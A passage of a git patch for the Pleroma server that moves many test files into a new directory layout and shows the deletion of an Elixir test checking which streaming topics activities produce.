test/pleroma/http/request_builder_test.exs create mode 100644 test/pleroma/http_test.exs create mode 100644 test/pleroma/instances/instance_test.exs create mode 100644 test/pleroma/instances_test.exs create mode 100644 test/pleroma/integration/federation_test.exs create mode 100644 test/pleroma/integration/mastodon_websocket_test.exs create mode 100644 test/pleroma/job_queue_monitor_test.exs create mode 100644 test/pleroma/keys_test.exs create mode 100644 test/pleroma/list_test.exs create mode 100644 test/pleroma/marker_test.exs create mode 100644 test/pleroma/mfa/backup_codes_test.exs create mode 100644 test/pleroma/mfa/totp_test.exs create mode 100644 test/pleroma/mfa_test.exs create mode 100644 test/pleroma/migration_helper/notification_backfill_test.exs create mode 100644 test/pleroma/moderation_log_test.exs create mode 100644 test/pleroma/notification_test.exs create mode 100644 test/pleroma/object/containment_test.exs create mode 100644 test/pleroma/object/fetcher_test.exs create mode 100644 test/pleroma/object_test.exs create mode 100644 test/pleroma/otp_version_test.exs create mode 100644 test/pleroma/pagination_test.exs create mode 100644 test/pleroma/registration_test.exs create mode 100644 test/pleroma/repo_test.exs create mode 100644 test/pleroma/reverse_proxy_test.exs create mode 100644 test/pleroma/runtime_test.exs create mode 100644 test/pleroma/safe_jsonb_set_test.exs create mode 100644 test/pleroma/scheduled_activity_test.exs create mode 100644 test/pleroma/signature_test.exs create mode 100644 test/pleroma/stats_test.exs create mode 100644 test/pleroma/upload/filter/anonymize_filename_test.exs create mode 100644 test/pleroma/upload/filter/dedupe_test.exs create mode 100644 test/pleroma/upload/filter/mogrifun_test.exs create mode 100644 test/pleroma/upload/filter/mogrify_test.exs create mode 100644 test/pleroma/upload/filter_test.exs create mode 100644 test/pleroma/upload_test.exs create mode 100644 test/pleroma/uploaders/local_test.exs create mode 100644 test/pleroma/uploaders/s3_test.exs create mode 100644 test/pleroma/user/notification_setting_test.exs create mode 100644 test/pleroma/user_invite_token_test.exs create mode 100644 test/pleroma/user_relationship_test.exs create mode 100644 test/pleroma/user_search_test.exs create mode 100644 test/pleroma/user_test.exs create mode 100644 test/pleroma/web/activity_pub/activity_pub_controller_test.exs create mode 100644 test/pleroma/web/activity_pub/activity_pub_test.exs create mode 100644 test/pleroma/web/activity_pub/force_bot_unlisted_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/activity_expiration_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/anti_followbot_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/anti_link_spam_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/ensure_re_prepended_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/hellthread_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/keyword_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/media_proxy_warming_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/mention_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/no_placeholder_text_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/normalize_markup_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/object_age_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/reject_non_public_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/simple_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/steal_emoji_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/subchain_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/tag_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/user_allow_list_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/vocabulary_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf_test.exs create mode 100644 test/pleroma/web/activity_pub/pipeline_test.exs create mode 100644 test/pleroma/web/activity_pub/publisher_test.exs create mode 100644 test/pleroma/web/activity_pub/relay_test.exs create mode 100644 test/pleroma/web/activity_pub/side_effects_test.exs create mode 100644 test/pleroma/web/activity_pub/transmogrifier/announce_handling_test.exs create mode 100644 test/pleroma/web/activity_pub/transmogrifier/chat_message_test.exs create mode 100644 test/pleroma/web/activity_pub/transmogrifier/delete_handling_test.exs create mode 100644 test/pleroma/web/activity_pub/transmogrifier/emoji_react_handling_test.exs create mode 100644 test/pleroma/web/activity_pub/transmogrifier/follow_handling_test.exs create mode 100644 test/pleroma/web/activity_pub/transmogrifier/like_handling_test.exs create mode 100644 test/pleroma/web/activity_pub/transmogrifier/undo_handling_test.exs create mode 100644 test/pleroma/web/activity_pub/transmogrifier_test.exs create mode 100644 test/pleroma/web/activity_pub/utils_test.exs create mode 100644 test/pleroma/web/activity_pub/views/object_view_test.exs create mode 100644 test/pleroma/web/activity_pub/views/user_view_test.exs create mode 100644 test/pleroma/web/activity_pub/visibility_test.exs create mode 100644 test/pleroma/web/admin_api/controllers/admin_api_controller_test.exs create mode 100644 test/pleroma/web/admin_api/controllers/config_controller_test.exs create mode 100644 test/pleroma/web/admin_api/controllers/invite_controller_test.exs create mode 100644 test/pleroma/web/admin_api/controllers/media_proxy_cache_controller_test.exs create mode 100644 test/pleroma/web/admin_api/controllers/oauth_app_controller_test.exs create mode 100644 test/pleroma/web/admin_api/controllers/relay_controller_test.exs create mode 100644 test/pleroma/web/admin_api/controllers/report_controller_test.exs create mode 100644 test/pleroma/web/admin_api/controllers/status_controller_test.exs create mode 100644 test/pleroma/web/admin_api/search_test.exs create mode 100644 test/pleroma/web/admin_api/views/report_view_test.exs create mode 100644 test/pleroma/web/api_spec/schema_examples_test.exs create mode 100644 test/pleroma/web/auth/auth_controller_test.exs create mode 100644 test/pleroma/web/auth/authenticator_test.exs create mode 100644 test/pleroma/web/auth/basic_auth_test.exs create mode 100644 test/pleroma/web/auth/pleroma_authenticator_test.exs create mode 100644 test/pleroma/web/auth/totp_authenticator_test.exs create mode 100644 test/pleroma/web/chat_channel_test.exs create mode 100644 test/pleroma/web/common_api/utils_test.exs create mode 100644 test/pleroma/web/common_api_test.exs create mode 100644 test/pleroma/web/fallback_test.exs create mode 100644 test/pleroma/web/federator_test.exs create mode 100644 test/pleroma/web/feed/tag_controller_test.exs create mode 100644 test/pleroma/web/feed/user_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/account_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/app_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/auth_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/conversation_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/custom_emoji_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/domain_block_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/filter_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/follow_request_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/instance_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/list_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/marker_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/media_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/notification_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/poll_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/report_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/scheduled_activity_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/search_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/status_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/subscription_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/suggestion_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/timeline_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/masto_fe_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/mastodon_api_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/mastodon_api_test.exs create mode 100644 test/pleroma/web/mastodon_api/update_credentials_test.exs create mode 100644 test/pleroma/web/mastodon_api/views/account_view_test.exs create mode 100644 test/pleroma/web/mastodon_api/views/conversation_view_test.exs create mode 100644 test/pleroma/web/mastodon_api/views/list_view_test.exs create mode 100644 test/pleroma/web/mastodon_api/views/marker_view_test.exs create mode 100644 test/pleroma/web/mastodon_api/views/notification_view_test.exs create mode 100644 test/pleroma/web/mastodon_api/views/poll_view_test.exs create mode 100644 test/pleroma/web/mastodon_api/views/scheduled_activity_view_test.exs create mode 100644 test/pleroma/web/mastodon_api/views/status_view_test.exs create mode 100644 test/pleroma/web/mastodon_api/views/subscription_view_test.exs create mode 100644 test/pleroma/web/media_proxy/invalidation/http_test.exs create mode 100644 test/pleroma/web/media_proxy/invalidation/script_test.exs create mode 100644 test/pleroma/web/media_proxy/invalidation_test.exs create mode 100644 test/pleroma/web/media_proxy/media_proxy_controller_test.exs create mode 100644 test/pleroma/web/media_proxy_test.exs create mode 100644 test/pleroma/web/metadata/player_view_test.exs create mode 100644 test/pleroma/web/metadata/providers/feed_test.exs create mode 100644 test/pleroma/web/metadata/providers/open_graph_test.exs create mode 100644 test/pleroma/web/metadata/providers/rel_me_test.exs create mode 100644 test/pleroma/web/metadata/providers/restrict_indexing_test.exs create mode 100644 test/pleroma/web/metadata/providers/twitter_card_test.exs create mode 100644 test/pleroma/web/metadata/utils_test.exs create mode 100644 test/pleroma/web/metadata_test.exs create mode 100644 test/pleroma/web/mongoose_im_controller_test.exs create mode 100644 test/pleroma/web/node_info_test.exs create mode 100644 test/pleroma/web/o_auth/app_test.exs create mode 100644 test/pleroma/web/o_auth/authorization_test.exs create mode 100644 test/pleroma/web/o_auth/ldap_authorization_test.exs create mode 100644 test/pleroma/web/o_auth/mfa_controller_test.exs create mode 100644 test/pleroma/web/o_auth/o_auth_controller_test.exs create mode 100644 test/pleroma/web/o_auth/token/utils_test.exs create mode 100644 test/pleroma/web/o_auth/token_test.exs create mode 100644 test/pleroma/web/o_status/o_status_controller_test.exs create mode 100644 test/pleroma/web/pleroma_api/controllers/account_controller_test.exs create mode 100644 test/pleroma/web/pleroma_api/controllers/chat_controller_test.exs create mode 100644 test/pleroma/web/pleroma_api/controllers/conversation_controller_test.exs create mode 100644 test/pleroma/web/pleroma_api/controllers/emoji_pack_controller_test.exs create mode 100644 test/pleroma/web/pleroma_api/controllers/emoji_reaction_controller_test.exs create mode 100644 test/pleroma/web/pleroma_api/controllers/mascot_controller_test.exs create mode 100644 test/pleroma/web/pleroma_api/controllers/notification_controller_test.exs create mode 100644 test/pleroma/web/pleroma_api/controllers/scrobble_controller_test.exs create mode 100644 test/pleroma/web/pleroma_api/controllers/two_factor_authentication_controller_test.exs create mode 100644 test/pleroma/web/pleroma_api/views/chat_message_reference_view_test.exs create mode 100644 test/pleroma/web/pleroma_api/views/chat_view_test.exs create mode 100644 test/pleroma/web/pleroma_api/views/scrobble_view_test.exs create mode 100644 test/pleroma/web/plugs/admin_secret_authentication_plug_test.exs create mode 100644 test/pleroma/web/plugs/authentication_plug_test.exs create mode 100644 test/pleroma/web/plugs/basic_auth_decoder_plug_test.exs create mode 100644 test/pleroma/web/plugs/cache_control_test.exs create mode 100644 test/pleroma/web/plugs/cache_test.exs create mode 100644 test/pleroma/web/plugs/ensure_authenticated_plug_test.exs create mode 100644 test/pleroma/web/plugs/ensure_public_or_authenticated_plug_test.exs create mode 100644 test/pleroma/web/plugs/ensure_user_key_plug_test.exs create mode 100644 test/pleroma/web/plugs/federating_plug_test.exs create mode 100644 test/pleroma/web/plugs/http_security_plug_test.exs create mode 100644 test/pleroma/web/plugs/http_signature_plug_test.exs create mode 100644 test/pleroma/web/plugs/idempotency_plug_test.exs create mode 100644 test/pleroma/web/plugs/instance_static_test.exs create mode 100644 test/pleroma/web/plugs/legacy_authentication_plug_test.exs create mode 100644 test/pleroma/web/plugs/mapped_signature_to_identity_plug_test.exs create mode 100644 test/pleroma/web/plugs/o_auth_plug_test.exs create mode 100644 test/pleroma/web/plugs/o_auth_scopes_plug_test.exs create mode 100644 test/pleroma/web/plugs/plug_helper_test.exs create mode 100644 test/pleroma/web/plugs/rate_limiter_test.exs create mode 100644 test/pleroma/web/plugs/remote_ip_test.exs create mode 100644 test/pleroma/web/plugs/session_authentication_plug_test.exs create mode 100644 test/pleroma/web/plugs/set_format_plug_test.exs create mode 100644 test/pleroma/web/plugs/set_locale_plug_test.exs create mode 100644 test/pleroma/web/plugs/set_user_session_id_plug_test.exs create mode 100644 test/pleroma/web/plugs/uploaded_media_plug_test.exs create mode 100644 test/pleroma/web/plugs/user_enabled_plug_test.exs create mode 100644 test/pleroma/web/plugs/user_fetcher_plug_test.exs create mode 100644 test/pleroma/web/plugs/user_is_admin_plug_test.exs create mode 100644 test/pleroma/web/push/impl_test.exs create mode 100644 test/pleroma/web/rel_me_test.exs create mode 100644 test/pleroma/web/rich_media/helpers_test.exs create mode 100644 test/pleroma/web/rich_media/parser_test.exs create mode 100644 test/pleroma/web/rich_media/parsers/ttl/aws_signed_url_test.exs create mode 100644 test/pleroma/web/rich_media/parsers/twitter_card_test.exs create mode 100644 test/pleroma/web/static_fe/static_fe_controller_test.exs create mode 100644 test/pleroma/web/streamer_test.exs create mode 100644 test/pleroma/web/twitter_api/controller_test.exs create mode 100644 test/pleroma/web/twitter_api/password_controller_test.exs create mode 100644 test/pleroma/web/twitter_api/remote_follow_controller_test.exs create mode 100644 test/pleroma/web/twitter_api/twitter_api_test.exs create mode 100644 test/pleroma/web/twitter_api/util_controller_test.exs create mode 100644 test/pleroma/web/uploader_controller_test.exs create mode 100644 test/pleroma/web/views/error_view_test.exs create mode 100644 test/pleroma/web/web_finger/web_finger_controller_test.exs create mode 100644 test/pleroma/web/web_finger_test.exs create mode 100644 test/pleroma/workers/cron/digest_emails_worker_test.exs create mode 100644 test/pleroma/workers/cron/new_users_digest_worker_test.exs create mode 100644 test/pleroma/workers/scheduled_activity_worker_test.exs create mode 100644 test/pleroma/xml_builder_test.exs delete mode 100644 test/plugs/admin_secret_authentication_plug_test.exs delete mode 100644 test/plugs/authentication_plug_test.exs delete mode 100644 test/plugs/basic_auth_decoder_plug_test.exs delete mode 100644 test/plugs/cache_control_test.exs delete mode 100644 test/plugs/cache_test.exs delete mode 100644 test/plugs/ensure_authenticated_plug_test.exs delete mode 100644 test/plugs/ensure_public_or_authenticated_plug_test.exs delete mode 100644 test/plugs/ensure_user_key_plug_test.exs delete mode 100644 test/plugs/http_security_plug_test.exs delete mode 100644 test/plugs/http_signature_plug_test.exs delete mode 100644 test/plugs/idempotency_plug_test.exs delete mode 100644 test/plugs/instance_static_test.exs delete mode 100644 test/plugs/legacy_authentication_plug_test.exs delete mode 100644 test/plugs/mapped_identity_to_signature_plug_test.exs delete mode 100644 test/plugs/oauth_plug_test.exs delete mode 100644 test/plugs/oauth_scopes_plug_test.exs delete mode 100644 test/plugs/rate_limiter_test.exs delete mode 100644 test/plugs/remote_ip_test.exs delete mode 100644 test/plugs/session_authentication_plug_test.exs delete mode 100644 test/plugs/set_format_plug_test.exs delete mode 100644 test/plugs/set_locale_plug_test.exs delete mode 100644 test/plugs/set_user_session_id_plug_test.exs delete mode 100644 test/plugs/uploaded_media_plug_test.exs delete mode 100644 test/plugs/user_enabled_plug_test.exs delete mode 100644 test/plugs/user_fetcher_plug_test.exs delete mode 100644 test/plugs/user_is_admin_plug_test.exs delete mode 100644 test/registration_test.exs delete mode 100644 test/repo_test.exs delete mode 100644 test/reverse_proxy/reverse_proxy_test.exs delete mode 100644 test/runtime_test.exs delete mode 100644 test/safe_jsonb_set_test.exs delete mode 100644 test/scheduled_activity_test.exs delete mode 100644 test/signature_test.exs delete mode 100644 test/stats_test.exs create mode 100644 test/support/captcha/mock.ex delete mode 100644 test/support/captcha_mock.ex delete mode 100644 test/upload/filter/anonymize_filename_test.exs delete mode 100644 test/upload/filter/dedupe_test.exs delete mode 100644 test/upload/filter/mogrifun_test.exs delete mode 100644 test/upload/filter/mogrify_test.exs delete mode 100644 test/upload/filter_test.exs delete mode 100644 test/upload_test.exs delete mode 100644 test/uploaders/local_test.exs delete mode 100644 test/uploaders/s3_test.exs delete mode 100644 test/user/notification_setting_test.exs delete mode 100644 test/user_invite_token_test.exs delete mode 100644 test/user_relationship_test.exs delete mode 100644 test/user_search_test.exs delete mode 100644 test/user_test.exs delete mode 100644 test/web/activity_pub/activity_pub_controller_test.exs delete mode 100644 test/web/activity_pub/activity_pub_test.exs delete mode 100644 test/web/activity_pub/mrf/activity_expiration_policy_test.exs delete mode 100644 test/web/activity_pub/mrf/anti_followbot_policy_test.exs delete mode 100644 test/web/activity_pub/mrf/anti_link_spam_policy_test.exs delete mode 100644 test/web/activity_pub/mrf/ensure_re_prepended_test.exs delete mode 100644 test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs delete mode 100644 test/web/activity_pub/mrf/hellthread_policy_test.exs delete mode 100644 test/web/activity_pub/mrf/keyword_policy_test.exs delete mode 100644 test/web/activity_pub/mrf/mediaproxy_warming_policy_test.exs delete mode 100644 test/web/activity_pub/mrf/mention_policy_test.exs delete mode 100644 test/web/activity_pub/mrf/mrf_test.exs delete mode 100644 test/web/activity_pub/mrf/no_placeholder_text_policy_test.exs delete mode 100644 test/web/activity_pub/mrf/normalize_markup_test.exs delete mode 100644 test/web/activity_pub/mrf/object_age_policy_test.exs delete mode 100644 test/web/activity_pub/mrf/reject_non_public_test.exs delete mode 100644 test/web/activity_pub/mrf/simple_policy_test.exs delete mode 100644 test/web/activity_pub/mrf/steal_emoji_policy_test.exs delete mode 100644 test/web/activity_pub/mrf/subchain_policy_test.exs delete mode 100644 test/web/activity_pub/mrf/tag_policy_test.exs delete mode 100644 test/web/activity_pub/mrf/user_allowlist_policy_test.exs delete mode 100644 test/web/activity_pub/mrf/vocabulary_policy_test.exs delete mode 100644 test/web/activity_pub/object_validators/types/date_time_test.exs delete mode 100644 test/web/activity_pub/object_validators/types/object_id_test.exs delete mode 100644 test/web/activity_pub/object_validators/types/recipients_test.exs delete mode 100644 test/web/activity_pub/object_validators/types/safe_text_test.exs delete mode 100644 test/web/activity_pub/pipeline_test.exs delete mode 100644 test/web/activity_pub/publisher_test.exs delete mode 100644 test/web/activity_pub/relay_test.exs delete mode 100644 test/web/activity_pub/side_effects_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/announce_handling_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/chat_message_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/delete_handling_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/emoji_react_handling_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/follow_handling_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/like_handling_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/undo_handling_test.exs delete mode 100644 test/web/activity_pub/transmogrifier_test.exs delete mode 100644 test/web/activity_pub/utils_test.exs delete mode 100644 test/web/activity_pub/views/object_view_test.exs delete mode 100644 test/web/activity_pub/views/user_view_test.exs delete mode 100644 test/web/activity_pub/visibilty_test.exs delete mode 100644 test/web/admin_api/controllers/admin_api_controller_test.exs delete mode 100644 test/web/admin_api/controllers/config_controller_test.exs delete mode 100644 test/web/admin_api/controllers/invite_controller_test.exs delete mode 100644 test/web/admin_api/controllers/media_proxy_cache_controller_test.exs delete mode 100644 test/web/admin_api/controllers/oauth_app_controller_test.exs delete mode 100644 test/web/admin_api/controllers/relay_controller_test.exs delete mode 100644 test/web/admin_api/controllers/report_controller_test.exs delete mode 100644 test/web/admin_api/controllers/status_controller_test.exs delete mode 100644 test/web/admin_api/search_test.exs delete mode 100644 test/web/admin_api/views/report_view_test.exs delete mode 100644 test/web/api_spec/schema_examples_test.exs delete mode 100644 test/web/auth/auth_test_controller_test.exs delete mode 100644 test/web/auth/authenticator_test.exs delete mode 100644 test/web/auth/basic_auth_test.exs delete mode 100644 test/web/auth/pleroma_authenticator_test.exs delete mode 100644 test/web/auth/totp_authenticator_test.exs delete mode 100644 test/web/chat_channel_test.exs delete mode 100644 test/web/common_api/common_api_test.exs delete mode 100644 test/web/common_api/common_api_utils_test.exs delete mode 100644 test/web/fallback_test.exs delete mode 100644 test/web/federator_test.exs delete mode 100644 test/web/feed/tag_controller_test.exs delete mode 100644 test/web/feed/user_controller_test.exs delete mode 100644 test/web/instances/instance_test.exs delete mode 100644 test/web/instances/instances_test.exs delete mode 100644 test/web/masto_fe_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/account_controller/update_credentials_test.exs delete mode 100644 test/web/mastodon_api/controllers/account_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/app_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/auth_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/conversation_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/custom_emoji_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/domain_block_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/filter_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/follow_request_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/instance_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/list_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/marker_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/media_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/notification_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/poll_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/report_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/scheduled_activity_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/search_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/status_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/subscription_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/suggestion_controller_test.exs delete mode 100644 test/web/mastodon_api/controllers/timeline_controller_test.exs delete mode 100644 test/web/mastodon_api/mastodon_api_controller_test.exs delete mode 100644 test/web/mastodon_api/mastodon_api_test.exs delete mode 100644 test/web/mastodon_api/views/account_view_test.exs delete mode 100644 test/web/mastodon_api/views/conversation_view_test.exs delete mode 100644 test/web/mastodon_api/views/list_view_test.exs delete mode 100644 test/web/mastodon_api/views/marker_view_test.exs delete mode 100644 test/web/mastodon_api/views/notification_view_test.exs delete mode 100644 test/web/mastodon_api/views/poll_view_test.exs delete mode 100644 test/web/mastodon_api/views/scheduled_activity_view_test.exs delete mode 100644 test/web/mastodon_api/views/status_view_test.exs delete mode 100644 test/web/mastodon_api/views/subscription_view_test.exs delete mode 100644 test/web/media_proxy/invalidation_test.exs delete mode 100644 test/web/media_proxy/invalidations/http_test.exs delete mode 100644 test/web/media_proxy/invalidations/script_test.exs delete mode 100644 test/web/media_proxy/media_proxy_controller_test.exs delete mode 100644 test/web/media_proxy/media_proxy_test.exs delete mode 100644 test/web/metadata/feed_test.exs delete mode 100644 test/web/metadata/metadata_test.exs delete mode 100644 test/web/metadata/opengraph_test.exs delete mode 100644 test/web/metadata/player_view_test.exs delete mode 100644 test/web/metadata/rel_me_test.exs delete mode 100644 test/web/metadata/restrict_indexing_test.exs delete mode 100644 test/web/metadata/twitter_card_test.exs delete mode 100644 test/web/metadata/utils_test.exs delete mode 100644 test/web/mongooseim/mongoose_im_controller_test.exs delete mode 100644 test/web/node_info_test.exs delete mode 100644 test/web/oauth/app_test.exs delete mode 100644 test/web/oauth/authorization_test.exs delete mode 100644 test/web/oauth/ldap_authorization_test.exs delete mode 100644 test/web/oauth/mfa_controller_test.exs delete mode 100644 test/web/oauth/oauth_controller_test.exs delete mode 100644 test/web/oauth/token/utils_test.exs delete mode 100644 test/web/oauth/token_test.exs delete mode 100644 test/web/ostatus/ostatus_controller_test.exs delete mode 100644 test/web/pleroma_api/controllers/account_controller_test.exs delete mode 100644 test/web/pleroma_api/controllers/chat_controller_test.exs delete mode 100644 test/web/pleroma_api/controllers/conversation_controller_test.exs delete mode 100644 test/web/pleroma_api/controllers/emoji_pack_controller_test.exs delete mode 100644 test/web/pleroma_api/controllers/emoji_reaction_controller_test.exs delete mode 100644 test/web/pleroma_api/controllers/mascot_controller_test.exs delete mode 100644 test/web/pleroma_api/controllers/notification_controller_test.exs delete mode 100644 test/web/pleroma_api/controllers/scrobble_controller_test.exs delete mode 100644 test/web/pleroma_api/controllers/two_factor_authentication_controller_test.exs delete mode 100644 test/web/pleroma_api/views/chat/message_reference_view_test.exs delete mode 100644 test/web/pleroma_api/views/chat_view_test.exs delete mode 100644 test/web/pleroma_api/views/scrobble_view_test.exs delete mode 100644 test/web/plugs/federating_plug_test.exs delete mode 100644 test/web/plugs/plug_test.exs delete mode 100644 test/web/push/impl_test.exs delete mode 100644 test/web/rel_me_test.exs delete mode 100644 test/web/rich_media/aws_signed_url_test.exs delete mode 100644 test/web/rich_media/helpers_test.exs delete mode 100644 test/web/rich_media/parser_test.exs delete mode 100644 test/web/rich_media/parsers/twitter_card_test.exs delete mode 100644 test/web/static_fe/static_fe_controller_test.exs delete mode 100644 test/web/streamer/streamer_test.exs delete mode 100644 test/web/twitter_api/password_controller_test.exs delete mode 100644 test/web/twitter_api/remote_follow_controller_test.exs delete mode 100644 test/web/twitter_api/twitter_api_controller_test.exs delete mode 100644 test/web/twitter_api/twitter_api_test.exs delete mode 100644 test/web/twitter_api/util_controller_test.exs delete mode 100644 test/web/uploader_controller_test.exs delete mode 100644 test/web/views/error_view_test.exs delete mode 100644 test/web/web_finger/web_finger_controller_test.exs delete mode 100644 test/web/web_finger/web_finger_test.exs delete mode 100644 test/workers/cron/digest_emails_worker_test.exs delete mode 100644 test/workers/cron/new_users_digest_worker_test.exs delete mode 100644 test/workers/scheduled_activity_worker_test.exs delete mode 100644 test/xml_builder_test.exs diff --git a/test/activity/ir/topics_test.exs b/test/activity/ir/topics_test.exs deleted file mode 100644 index 4ddcea1ec..000000000 --- a/test/activity/ir/topics_test.exs +++ /dev/null @@ -1,145 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Activity.Ir.TopicsTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Activity.Ir.Topics - alias Pleroma.Object - - require Pleroma.Constants - - describe "poll answer" do - test "produce no topics" do - activity = %Activity{object: %Object{data: %{"type" => "Answer"}}} - - assert [] == Topics.get_activity_topics(activity) - end - end - - describe "non poll answer" do - test "always add user and list topics" do - activity = %Activity{object: %Object{data: %{"type" => "FooBar"}}} - topics = Topics.get_activity_topics(activity) - - assert Enum.member?(topics, "user") - assert Enum.member?(topics, "list") - end - end - - describe "public visibility" do - setup do - activity = %Activity{ - object: %Object{data: %{"type" => "Note"}}, - data: %{"to" => [Pleroma.Constants.as_public()]} - } - - {:ok, activity: activity} - end - - test "produces public topic", %{activity: activity} do - topics = Topics.get_activity_topics(activity) - - assert Enum.member?(topics, "public") - end - - test "local action produces public:local topic", %{activity: activity} do - activity = %{activity | local: true} - topics = Topics.get_activity_topics(activity) - - assert Enum.member?(topics, "public:local") - end - - test "non-local action does not produce public:local topic", %{activity: activity} do - activity = %{activity | local: false} - topics = Topics.get_activity_topics(activity) - - refute Enum.member?(topics, "public:local") - end - end - - describe "public visibility create events" do - setup do - activity = %Activity{ - object: %Object{data: %{"attachment" => []}}, - data: %{"type" => "Create", "to" => [Pleroma.Constants.as_public()]} - } - - {:ok, activity: activity} - end - - test "with no attachments doesn't produce public:media topics", %{activity: activity} do - topics = Topics.get_activity_topics(activity) - - refute Enum.member?(topics, "public:media") - refute Enum.member?(topics, "public:local:media") - end - - test "converts tags to hash tags", %{activity: %{object: %{data: data} = object} = activity} do - tagged_data = Map.put(data, "tag", ["foo", "bar"]) - activity = %{activity | object: %{object | data: tagged_data}} - - topics = Topics.get_activity_topics(activity) - - assert Enum.member?(topics, "hashtag:foo") - assert Enum.member?(topics, "hashtag:bar") - end - - test "only converts strings to hash tags", %{ - activity: %{object: %{data: data} = object} = activity - } do - tagged_data = Map.put(data, "tag", [2]) - activity = %{activity | object: %{object | data: tagged_data}} - - topics = Topics.get_activity_topics(activity) - - refute Enum.member?(topics, "hashtag:2") - end - end - - describe "public visibility create events with attachments" do - setup do - activity = %Activity{ - object: %Object{data: %{"attachment" => ["foo"]}}, - data: %{"type" => "Create", "to" => [Pleroma.Constants.as_public()]} - } - - {:ok, activity: activity} - end - - test "produce public:media topics", %{activity: activity} do - topics = Topics.get_activity_topics(activity) - - assert Enum.member?(topics, "public:media") - end - - test "local produces public:local:media topics", %{activity: activity} do - topics = Topics.get_activity_topics(activity) - - assert Enum.member?(topics, "public:local:media") - end - - test "non-local doesn't produce public:local:media topics", %{activity: activity} do - activity = %{activity | local: false} - - topics = Topics.get_activity_topics(activity) - - refute Enum.member?(topics, "public:local:media") - end - end - - describe "non-public visibility" do - test "produces direct topic" do - activity = %Activity{object: %Object{data: %{"type" => "Note"}}, data: %{"to" => []}} - topics = Topics.get_activity_topics(activity) - - assert Enum.member?(topics, "direct") - refute Enum.member?(topics, "public") - refute Enum.member?(topics, "public:local") - refute Enum.member?(topics, "public:media") - refute Enum.member?(topics, "public:local:media") - end - end -end diff --git a/test/activity_test.exs b/test/activity_test.exs deleted file mode 100644 index ee6a99cc3..000000000 --- a/test/activity_test.exs +++ /dev/null @@ -1,234 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.ActivityTest do - use Pleroma.DataCase - alias Pleroma.Activity - alias Pleroma.Bookmark - alias Pleroma.Object - alias Pleroma.Tests.ObanHelpers - alias Pleroma.ThreadMute - import 